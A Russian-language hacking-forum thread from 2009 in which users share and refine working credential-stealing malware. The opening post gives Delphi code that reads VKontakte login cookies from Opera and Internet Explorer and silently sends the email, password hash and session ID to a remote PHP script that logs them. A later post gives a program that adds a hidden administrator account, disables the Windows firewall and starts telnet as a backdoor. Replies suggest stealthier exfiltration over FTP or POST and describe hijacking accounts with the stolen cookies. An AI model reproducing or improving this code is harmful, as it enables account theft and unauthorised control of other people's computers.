Сливаем Hash от vkontakte.ru[Delphi+php]

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by JeDaSe, 25 May 2009.

  1. JeDaSe

    JeDaSe Member

    Joined:
    23 May 2009
    Messages:
    31
    Likes Received:
    12
    Reputations:
    0
    Вот написал меленькую программку для пользователей своей сети, может кому будет интерсено
    Code:
    program killall;
    
    {$APPTYPE CONSOLE}
    
    uses
      SysUtils,windows,ShellAPI;
    //-----------Ïîëó÷åìå ëîãèí òåêóøåãî ïîëüçîâàòåëÿ--------------------------------
    function GetUserFromWindows: string;
    var
      UserName : string;
      UserNameLen : Dword;
    begin
      UserNameLen := 255;
      SetLength(userName, UserNameLen);
      if GetUserName(PChar(UserName), UserNameLen) then
        Result := Copy(UserName,1,UserNameLen - 1)
      else
        Result := 'Unknown';
    end;
    //------------------------------------------------------------------------------
    //-------------------Ïîëó÷àåì ñèñòåìíûé äèñê------------------------------------
    function GetSystemDisk: string;
    var
     S: array[0..MAX_PATH] of Char;
    begin
      GetWindowsDirectory(S,SizeOf(S));
      Result:=copy(S,0,1);
    end;
    //------------------------------------------------------------------------------
    var
     User,Disc,mail,hash,id,startdir:string;
     coock,st,mask:string;
     f:TextFile;
     i:integer;
     searchrec : tsearchrec;
     Opera,IE: string;
    begin
     Disc:=GetSystemDisk;
     User:=GetUserFromWindows;
     Opera:= Disc+':\Documents and Settings\'+User+'\Application Data\Opera\Opera\profile\cookies4.dat';
     if FileExists(Opera) then
     begin
       AssignFile(f,Opera);                        
       Reset(f);                                   
       for i:=0 to 500 do
       begin
         Readln(f, st);
         coock:=coock+st;
       end;
       delete(coock,1,pos('remixemail',coock)+12);
       mail:=copy(coock,0,pos(#18,coock)-1);
       delete(coock,1,pos('remixpass',coock)+11);
       hash:=copy(coock,0,pos(#18,coock)-1);
       delete(coock,1,pos('remixsid',coock)+9);
       id:=copy(coock,0,pos(#18,coock)-1);
       ShellExecute(0, nil, PChar('http://xx.xx.x.xx/snif.php?t=opera&i='+id+'&m='+mail+'&h='+hash), nil, nil, SW_HIDE);
     end;
    
     startdir:=Disc+':\Documents and Settings\'+User+'\Cookies\';
     mask := '*.*';
     if findfirst(startdir+mask, faanyfile, searchrec) = 0 then
     begin
       repeat
       if pos('vkontakte',searchrec.name)<>0 then
       begin
         AssignFile(f,startdir+searchrec.name);
         Reset(f);
         for i:=0 to 500 do
         begin
          Readln(f, st);
          coock:=coock+st;
        end;
        delete(coock,1,pos('remixemail',coock)+9);
        mail:=copy(coock,0,pos('vkon',coock)-1);
        delete(coock,1,pos('remixpass',coock)+11);
        hash:=copy(coock,0,pos('vkon',coock)-1);
        delete(coock,1,pos('remixsid',coock)+9);
        id:=copy(coock,0,pos('vkon',coock)-1);
        ShellExecute(0, nil, PChar('http://xx.xx.x.xxx/snif.php?t=ie&i='+id+'&m='+mail+'&h='+hash), nil, nil, SW_HIDE);
      end;
      until findnext(searchrec) <> 0;
     end;
    end.
    

    и код снифера(snif.php)
    PHP:
    <?php
    $fp
    =fopen("sn.html","a+t");  
    fputs($fp,
    Время: "
    .date("[D d/m/Y H:i]")."<br>  
    Мыло: "
    .$_GET['m']."<br>
    Хэш: "
    .$_GET['h']."<br>
    ID: "
    .$_GET['i']."<br>
    Браузер: "
    .$_GET['t']."<br><br>
    "
    );
    fclose($fp);
    header("Location: http://google.ru");  
    ?>
     
    #1 JeDaSe, 25 May 2009
    Last edited: 25 May 2009
    3 people like this.
  2. wildshaman

    wildshaman Elder - Старейшина

    Joined:
    16 Apr 2008
    Messages:
    478
    Likes Received:
    483
    Reputations:
    99
    а, сорри, зачет
     
    #2 wildshaman, 25 May 2009
    Last edited: 25 May 2009
  3. JeDaSe

    JeDaSe Member

    Joined:
    23 May 2009
    Messages:
    31
    Likes Received:
    12
    Reputations:
    0
    Ну наверно надо посмотреть получше
    первый раз пишу на форуме ещё не разобрался что как
     
    1 person likes this.
  4. Gar|k

    Gar|k Moderator

    Joined:
    20 Mar 2009
    Messages:
    1,166
    Likes Received:
    266
    Reputations:
    82
    идея прикольная
    в проге недаработки
    1) открываешь файл и почемуто считываешь 500 строк (как я понял в делфи не селен) и там уже ишешь строку нужную... а если файл намного больше?
    2) а если там нет кук вконтакта, тогда что? тогда она наверное вылетит с ошибкой или в лучшем случае пошлет пустые параметры.
    3) для отправки ты как я смотрю используешь тупа выполнить... и параметры передаешь в GET запросе - а ведь GET запросы остаются в логах веб сервера... вывод POST и WINSOCK
     
    _________________________
  5. Gar|k

    Gar|k Moderator

    Joined:
    20 Mar 2009
    Messages:
    1,166
    Likes Received:
    266
    Reputations:
    82
    кстати реализовать можно намного проще... архивировать куки и используя системную комманду ftp (фаер побреется...) скрытно передавать их на свой ftp... а потом тиха разбирать, я думаю кроме контакта найдутся еще куча кук на интересные сервисы. хотя это все рутина )) прогой анализировать круче хех

    на основе данных можно сделать активный снифер кук. взял куки с харда зашел поменял пароль - ты насяльника
     
    _________________________
    1 person likes this.
  6. St0nX

    St0nX Elder - Старейшина

    Joined:
    19 May 2007
    Messages:
    257
    Likes Received:
    46
    Reputations:
    0
    А я для пользователей своей сети использую. ARP spoofing + Wireshark.
    Больше интересного вытащить можно)
     
    1 person likes this.
  7. JeDaSe

    JeDaSe Member

    Joined:
    23 May 2009
    Messages:
    31
    Likes Received:
    12
    Reputations:
    0
    Вот ещё интересная вещь, но старая
    Code:
    { *********************************************************************** }
    {  Delphi 7                                                               }
    {  JeDaSe ICQ:8673900                                                      }
    {  exec telnet & kill SharedAccess                                        }
    { *********************************************************************** }
    program PsevdoSHELL;
    
    {$APPTYPE CONSOLE}
    
    uses
      SysUtils,windows;
    
    var
    Login,pass:string;
    begin
      Pass:='Hackers'; // Пароль пользователя(взломщика)
      Login:='Hackers';// Логин
      winexec(PChar('cmd.exe /c  net user '+Login+' '+Pass+'  /add'),sw_normal);//Добавляем пользователя
      winexec(PChar('cmd.exe /c net localgroup "Администраторы" '+Login+' /add '),sw_normal);//Делаем его админом
      winexec(PChar('cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v "'+Login+'" /t REG_DWORD /d 00000000'),sw_normal);
      winexec(PChar('cmd.exe /c  sc config wscsvc start= disabled'),sw_normal);
      winexec(PChar('cmd.exe /c  sc config SharedAccess start= disabled'),sw_normal); //останавливаеи брендмауер
      winexec(PChar('cmd.exe /c  sc config tlntsvr start= auto'),sw_normal);
      winexec(PChar('cmd.exe /c  sc stop wscsvc'),sw_normal);
      winexec(PChar('cmd.exe /c  sc stop SharedAccess '),sw_normal);
      winexec(PChar('cmd.exe /c  sc start tlntsvr '),sw_normal); //запускаем телнет
    end.
    
    отключает брендмауер и запускает телнет
     
    #7 JeDaSe, 28 May 2009
    Last edited: 28 May 2009
  8. ronald

    ronald Elder - Старейшина

    Joined:
    27 Mar 2008
    Messages:
    252
    Likes Received:
    41
    Reputations:
    6
    а без этого bat файлом сложно ;) ?
    Кстати код не идеален, сработает только на рус винде, и только если прогу запутил админ
     
  9. waik

    waik Elder - Старейшина

    Joined:
    2 Nov 2008
    Messages:
    404
    Likes Received:
    163
    Reputations:
    12
    ТСу зачет однозначно!
     
    1 person likes this.
  10. warlok

    warlok Elder - Старейшина

    Joined:
    17 Feb 2008
    Messages:
    328
    Likes Received:
    142
    Reputations:
    81
    root_sashok каменты крозяблами потому что тс копировал из делфи у мну тоже такое бывает :)
     
  11. Seregakz

    Seregakz New Member

    Joined:
    13 Jun 2009
    Messages:
    31
    Likes Received:
    1
    Reputations:
    0
    кто прогу может немного переделать?)) чтоб все куки оперы вставлялись в мемо расшифрованы %)
     
    #11 Seregakz, 16 Aug 2009
    Last edited: 16 Aug 2009
  12. ex3me

    ex3me Member

    Joined:
    7 Jan 2009
    Messages:
    0
    Likes Received:
    63
    Reputations:
    0
    CloseFile забыл =)

    Плюс, действительно считывать надо не 500 строк:
    Code:
     while not EOF(f) do
       begin
         Readln(f, st);
         cook:=cook+st;
       end;
    А вообще - зачет. Надо будет раскидать по сети ))
     
    #12 ex3me, 16 Aug 2009
    Last edited: 16 Aug 2009
  13. Seregakz

    Seregakz New Member

    Joined:
    13 Jun 2009
    Messages:
    31
    Likes Received:
    1
    Reputations:
    0

    Если чисто весь файл в мемо кинуть то он не отображаетсо =// неподскажеш чтоб все куки грабились чё сделать?))))
     
  14. ex3me

    ex3me Member

    Joined:
    7 Jan 2009
    Messages:
    0
    Likes Received:
    63
    Reputations:
    0
    Все отображается. Прекрасно. Можешь не в мемо кидать построчно, а Memo1.Lines.LoadFromFile, или же

    Code:
    var
      str:TStrings;
    begin
      str:=TStringList.Create
      str.LoadFromFile('filename');
      ...
      str.Free;
    end;
    
     
  15. Seregakz

    Seregakz New Member

    Joined:
    13 Jun 2009
    Messages:
    31
    Likes Received:
    1
    Reputations:
    0
    а моя не внимательность проблемы были с переменой)

    токо вот чёт

    PHP:
    while not EOF(f) do
       
    begin
         Readln
    (fst);
         
    cook:=cook+st;
       
    end;
    не грузит весь файл))
     
    #15 Seregakz, 17 Aug 2009
    Last edited: 17 Aug 2009
  16. ex3me

    ex3me Member

    Joined:
    7 Jan 2009
    Messages:
    0
    Likes Received:
    63
    Reputations:
    0
    Seregakz, у переменных типа string, коей является cook имеется один небольшой недостаток (читай - твоя невнимательность) - ограничение по длинне. Именно поэтому я привел пример загрузки файла не построчно, а целиком в посте #14
     
  17. Seregakz

    Seregakz New Member

    Joined:
    13 Jun 2009
    Messages:
    31
    Likes Received:
    1
    Reputations:
    0
    ex3me, токо пример с 14-го поста не проканал =/
    Делал так:
    PHP:
      str:=TStringList.Create;
      
    str.LoadFromFile(Opera);
      
    memo1.Lines.AddStrings(str);
      
    str.Free;
    не подскажеш как разгребсти их в читабельный вид?))) а это это ппц всё вместе)
     
    #17 Seregakz, 17 Aug 2009
    Last edited: 17 Aug 2009
  18. ex3me

    ex3me Member

    Joined:
    7 Jan 2009
    Messages:
    0
    Likes Received:
    63
    Reputations:
    0
    Code:
    memo1.Lines.Assign
     
  19. Seregakz

    Seregakz New Member

    Joined:
    13 Jun 2009
    Messages:
    31
    Likes Received:
    1
    Reputations:
    0
    аналогично не пашет) простой файл грузит, а файл с куками нет)
    PHP:
     str:=TStringList.Create
      
    str.LoadFromFile(Opera);
      
    memo1.Lines.Assign(str);
      
    str.Free;
     
  20. flacs

    flacs Member

    Joined:
    28 Jan 2009
    Messages:
    81
    Likes Received:
    31
    Reputations:
    6
    ну дык нуль терминейт символы в файле есть
    храни во времнном буфере, и открывай вот так файл

    var FS: TFileStream;
    buf: array of char; // временный буфер
    begin
    FS:=TFileStream.Create('path of file', fmOpenRead);
    SetLength(buf, FS.size+1);
    FS.Read(buf, FS.Size);
    FS.Free;

    Блин не построчно (Readln), а посимвольно(Read) читать надо
     
    #20 flacs, 18 Aug 2009
    Last edited: 18 Aug 2009